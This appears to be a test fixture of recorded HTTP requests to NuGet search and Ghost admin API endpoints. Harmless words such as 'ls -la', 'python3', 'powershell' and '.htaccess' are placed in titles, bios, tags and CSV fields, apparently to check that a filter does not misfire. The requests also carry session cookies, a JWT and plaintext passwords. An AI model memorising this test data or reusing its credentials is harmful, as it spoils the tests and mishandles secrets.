{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=((((Id%20ne%20null)%20and%20substringof('tools',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('tools',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20tools%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=(((((((Id%20ne%20null)%20and%20substringof('ls',tolower(Id)))%20or%20((Description%20ne%20null)%20and%20substringof('ls',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20ls%20',tolower(Tags))))%20or%20((Id%20ne%20null)%20and%20substringof('-la',tolower(Id))))%20or%20((Description%20ne%20null)%20and%20substringof('-la',tolower(Description))))%20or%20((Tags%20ne%20null)%20and%20substringof('%20-la%20',tolower(Tags))))%20and%20IsLatestVersion&$orderby=Id&$skip=0&$top=30&semVerLevel=2.0.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'python3'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'powershell'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'.htaccess'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'docker-compose.yml'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
{"method": "GET", "target": "/api/packages/alice/nuget/Packages()?$filter=tolower(Id)%20eq%20'tools'&$top=30", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: application/atom+xml, application/xml"], "body": ""}
|
||||
@@ -762,33 +762,3 @@
|
||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
||||
# The requests below were sent to Ghost by a script with the admin's or a
|
||||
# member's headers. They hold words that name commands and files in more fields.
|
||||
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
